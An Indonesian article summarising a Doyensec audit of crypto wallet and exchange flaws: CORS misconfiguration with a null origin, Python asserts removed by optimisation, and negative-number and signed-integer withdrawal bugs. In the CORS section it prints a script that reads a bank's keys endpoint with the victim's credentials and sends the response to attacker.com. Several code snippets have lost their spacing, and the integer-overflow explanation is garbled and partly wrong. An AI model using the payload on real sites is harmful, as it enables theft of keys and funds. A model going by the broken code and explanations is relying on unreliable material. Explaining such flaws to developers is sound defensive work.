Dari hasil riset Doyensec, beberapa implementasi aplikasi termasuk interface bursa hingga sistem layanan lain memiliki celah keamanan kripto. Meski demikian, perkembangan dunia kripto yang ada sekarang sebagian besarnya sudah memiliki tingkat keamanan mumpuni.
Doyensec dalam laporannya berdasarkan hasil audit celah keamanan kripto selama tiga tahun terakhir. Audit itu dilakukan dengan melakukan pengujian keamanan di beberapa layanan berbasis kripto ternama di dunia.
Mulai dari aplikasi wallet kripto di versi desktop hingga mobile, interface bursa kripto, sistem kustodial, hingga komponen infrastruktur mendasarnya.
Hasilnya, sudah cukup banyak yang mampu menangani sisi keamanannya dengan cukup baik. Namun disamping itu, ditemukan banyak pula kerentanan dari desain hingga implementasinya. Dari sekian banyak insiden yang telah terjadi, memang celah keamanan itu paling sering muncul dari penyedia wallet hingga bursa-bursa kripto konvensional (baca: non decentralized exchange).
Menggunakan layanan pihak ketiga di dunia kripto memang membuka celah keamanan. Meski sudah banyak yang telah memiliki fitur keamanan yang tinggi, tentu akan jadi bumerang jika orang awam tidak banyak mengetahui sisi kelemahan keamanan dari penyedia layanan pihak ketiga tersebut.
Yang perlu menjadi catatan pentingnya, penyedia layanan pihak ketiga tetaplah berperan diluar core atau infrastruktur utama varian kripto seberti Bitcoin ataupun Altcoin. Dari sekian banyak insiden yang terjadi, memang sebagian besarnya berasal dari celah keamanan penyedia layanan pihak ketiga tersebut.
Ada tiga celah keamanan kripto yang paling banyak disorot, lantaran telah banyak terjadi adalah pada kesalahan implementasi CORS, Assert dan Compiler, serta Koreksi Aritmatik.
Kesalahan Implementasi CORS
CORS adalah protokol yang dibangun di atas HTTP. Dengan protokol ini, Javascript pada halaman sebuah situs bisa mengakses metode di situs lainnya. CORS sendiri dikembangkan oleh W3C sebagai alternatif lain yang awalnya dianggap lebih modern jika dibandingkan dengan JSONP.
Kalau JSONP hanya mendukung metode request saja, begitupun juga dengan CORS. Perbedaan mendasarnya adalah dalam sisi kustomisasi HTTP Header. Fungsinya tidak lain agar antara client dan server dapat saling mengetahui jika ada request dan respon yang dihasilkan. Berhasil atau tidak.
Secara sederhana, CORS menjadi protokol penghubung antara web browser dengan web service. Terutama ketika terjadi lintas komunikasi request dan respon antar domain web yang berbeda. Sehingga dari dua situs yang berbeda, bisa saling bertukar data satu sama lain.
Singkat kata, metode CORS berdasarkan fungsinya mirip dengan aplication programming interface (API). Dikatakan mirip, karena sama-sama bisa menggunakan Json sebagai layanan penghubungnya. Meski demikian, antara API dengan CORS jelas berbeda.
Di sekitar tahun 2016, hasil implementasi CORS mulai banyak ditemukan celah keamanan kripto di sejumlah penyedia layanan pihak ketiga. Alasan utamana cukup jelas, karena CORS bisa digunakan sebagai metode untuk saling bertukar informasi atau data dari sebuah situs web melalui browser.
Kesalahan implementasi atau kesalahan konfigurasi CORS ini membawa malapetaka. Terutama karena banyak penyedia layanan pihak ketiga bergantung pada sebuah situs web utama pada layanannya.
Bagi seorang penyerang, CORS dapat digunakan untuk memperoleh informasi tertentu, termasuk untuk berupaya mencuri sejumlah unit kripto. Bagaimana hal ini bisa dilakukan?
Jika sebuah website memiliki respon HTTP header seperti ini:
Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
Maka penyerang dapat dengan mudah menggunakan request HTTP dengan null origin itu hanya dengan tag iframe dan atribut sandbox saja. Berikut contoh yang disajikan dalam laporan Yoyensec di blognya:
<html> <body> <script> var req = new XMLHttpRequest(); req.onload = callback; req.open('GET', 'https://bitcoinbank/keys', true); req.withCredentials = true; req.send(); function callback() { location='https://attacker.com/?dump='+this.responseText; }; </script> </body>
Dari contoh skema penyerang diatas, dapat diketahui bahwa penyerang bisa mengelabuhi seseorang ketika target telah mengunjungi halaman penyerang. Ketika target telah mengunjungi halaman buatan itu, maka penyerang selanjutnya bisa membuat request key ke halaman tertentu. Dalam contoh itu, penyerang mengirim request ke halaman https://bitcoinbank/keys.
Satu-satunya tujuan penyerang, adalah berupa untuk mencoba mengorek informasi yang berkaitan dengan private key di situs yang bersangkutan.
Pola ini bisa terjadi ketika respon header dari Access-Control-Allow-Origin pada domain tersebut secara berkala di perbarui. Sehingga dengan pola CORS ini, domain tertuju, akan mengirim respon yang sama, sesuai permintaan yang ada.
Terkait dengan status “null” origin pada contoh tersebut, di tahun 2016 silam James Kettle sudah menuliskan kerentanan pada file pdf yang tersimpan di docs.google.com.
GET /reader?url=zxcvbn.pdf Host:docs.google.com Origin: null HTTP/1.1 200 OK Acess-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
Jika sebuah situs layanan bursa kripto di dalam situsnya menggunakan pola yang sama. Maka, penyerang pun bisa menggunakan cara yang sama pula. Yakni hanya dengan menggunakan null origin dengan iframe sandboxed saja.
<iframe sandbox="allow-scripts
allow-top-navigation allow-forms" src='data:text/html,<script>*cors
stuff here*</script>’></iframe>
Singkat kata, ketika sebuah situs penyedia layanan pihak ketiga di dunia kripto dalam situsnya masih ada kesalahan implementasi CORS tersebut, jelas penyerang dapat dengan mudah untuk mencuri aset kripto. Bahkan termasuk juga pada backup wallet pengguna yang telah terenkripsi sekalipun.
Kesalahan implementasi yang akhirnya berujung menjadi malapetaka ini sudah umum terjadi sejak 2016 silam. Terkait dengan hal ini, bagi pengembang tentu saja harus betul-betul menaruh perhatian serius. Atau, akan menjadi bencana kemudian.
Sebagai langkah pencegahan, tim Doyensec memberikan tiga langkah yang perlu diantisipasi:
- Tidak pernah memberikan set “null” pada Acess-Control-Allow-Origin
- Memastikan bahwa Acess-Control-Allow-Origin tersebut didak bisa diakses ataupun diambil dari variavel atau header apapun oleh pihak lain.
- Tidak memperbarui nilai HTTP header ke Acess-Control-Allow-Origin secara berkesinambungan atau secara dinamis.
2. Kesalahan pada saat Asserting dan Compiling
Bagi seorang pengembang, pada saat menuliskan code tentu akan kerap mendeteksi kesalahan penulisan code. Salah satu teknik yang digunakan adalah dengan assert debug. Secara umum, teknik ini digunakan untuk bisa mengetahui dengan cepat dimana letak kesalahan tersebut. Sehingga pengembang dengan sigap pula untuk bisa memperbaikinya.
Sementara hal lain yang memungkinkan terjadi adalah, pengembang mungkin akan menganggap proses assert debugging yang telah dilakukan tidak terjadi kesalahan. Namun pada saat compiling lah bug menjadi muncul.
Umumnya, kesalahan yang kerap muncul memang karena penggunaan compiler acap kali tidak memberikan hasil seperti yang diinginkan. Oleh sebab itu, ketika pada saat asserting awal sudah di periksa tidak terjadi kesalahan, namun saat proses compiling terjadi kesalahan.
Di dalam laporan Doyensec, menjelaskan dalam contoh code yang ditulis menggunakan Python seperti ini:
# All deposits should belong to the same CRYPTO address assertall([x.deposit_address==addressforxindeposits])
Code yang ditulis menggunakan Python tersebut sebenarnya tidak ada kesalahan apapun. Padahal, dari code tersebut ada bug yang cukup berbahaya. Pasalnya Python berjalan dengan _debug_ secara standar.
Dari yang awalnya dianggap tidak ada masalah, ketika pada saat compiling dengan file .pyo untuk optimalisasi, assert di code itu menjadi hilang. Dari sinilah kemudian celah keamanan bisa muncul.
Menurut hasil laporan audit dari Doyansec, kesalahan serupa bisa saja terjadi pada penggunaan bahasa pemprograman lain seperti C/C++, Swift, Closure, ataupun yang lain. Namun catatannya jika opsi kompilernya menggunakan varian kompiler yang berbeda, atau kurang lebihnya tidak banyak kompatible.
Meski demikian pencegahan untuk menghindari kesalahan fatal yang mungkin bisa ditimbulkan, adalah dengan tidak menggunakan pernyataan assert pada saat menuliskan code. Dan kedua adalah memeriksa kembali pada saat optimalisasi compiler, agar tidak ada kesalahan yang muncul kemudian.
3. Kesalahan Aritmatik
Kesalahan aritmatik ini adalah kesalahan perhitungan yang umumnya kerap saja terjadi dalam dunia fintech. Kesalahan perhitungan ini tentu akan berkaitan erat dengan operasi aritmatika. Jika code yang dituliskan memungkinkan terjadinya kesalahan perhitungan, maka penyerang pun bisa memperoleh uang dengan begitu mudah.
Yang kerap muncul kesalahan adalah jika penulisan code banyak berkaitan dengan menuliskan pernyataan untuk bilangan negatif.
Kembali, Doyensec juga memberikan contoh code penarikan sebagai berikut:
ifdata["wallet"].balance
<
data["amount"]: error_dict["wallet_balance"]=("Withdrawal exceeds available balance") ... data["wallet"].balance=data["wallet"].balance-data["amount"]
Dari contoh penulisan code diatas, pernyataan “if” akan meminta untuk memeriksa apakah jumlah saldo lebih besar dari jumlah dana yang ditarik. Code yang ditulis tersebut sebenarnya tidak akan berpengaruh apa-apa jika masih menggunakan bilangan positif. Berbeda jika telah terkait dengan bilangan negatif.
data["wallet"].balance=
200
-
(-100)
# 300 coins
Dari contoh tersebut, maka penyerang bisa memperoleh uang dengan begitu mudah. Karena penulisan code yang dilakukan memberikan dampak berbeda jika berkaitan dengan bilangan negatif, seperti pada contoh tersebut.
Yang perlu digaris bawahi dari contoh diatas, adalah menggunakan contoh yang sederhana saja. Sedangkan masih ada bug lain yang berpola sama karena adanya kesalahan aritmatik itu. Terutama jika menggunakan bahasa pemprograman yang jauh lebih rentan.
Menurut Doyensec, di kebanyakan arsitektur menggunakan tipe integer 2 byte yang sudah di tandatangani, digunakan untuk menampung bilangan negatif dan positif.
Misalnya saja untuk bilangan positif seperti angka 1, akan direpresentasikan dengan 1 == 0x0001, dan begitu seterusnya. Begitupun juga jika dengan bilangan negatif -1 = 0xffff, -2 == 0xfffe dan seterusnya.
Menjadi masalah kemudian, karena representasi antara angka negatif dan positif itu bisa bertemu pada titik yang sama, yakni 0x7fff. Sedangkan integer yang berkaitan bisa berasal dari nilai -32768 dan 32767. Agar bisa memahami lebih jauh, berikut adalah contohnya:
intwithdraw(signed
short
int
money){ bank_account-=money }
Jika seseorang menarik seperti pada umumnya misalnya:
signedshort
int
bank_account
=
-30000
maka hal itu tidak akan menjadi masalah. Namun berbeda kemudian jika seseorang menarik dana dengan seperti ini:
2768 + 1
Terkait dengan upaya penarikan pengguna itu, yang perlu diingat bahwa anga negatif -32768 merupakan nilai negatif maksimum. Sehingga jika pengguna menggunakan nilai yang berbeda seperti di contoh, maka akan terjadi kesalahan aritmatik. Implikasinya justru mestinya melakukan penarikan saldonya berkurang, pengguna tadi justru mendapat saldo senilai 32767 di dalam akunnya.
Atas dasar itu, pengembang harus memastikan bahwa sistem transaksi yang dilakukan tidak menggunakan angka negatif. Kedua, memeriksa kembali integer, terutama untuk versi integer yang ditandatangani maupun yang tidak tertandatangani digunakan seluruhnya di baris codenya. Sebaiknya untuk bilangan positif yang telah ditandatangani itu dinyatakan sebagai undifined behavior, sehingga tidak menimbulkan kesalahan perhitungan.
Satu kesalahan umum lain yang kerap terjadi adalah dengan pola reset kata sandi (password). Metode ini paling banyak digunakan, tidak hanya berkaitan di dunia kripto saja, namun secara umum. Dalam dunia kripto, kebanyakan pola-pola ini digunakan oleh penyerang untuk mencuri sejumlah aset digital berupa token.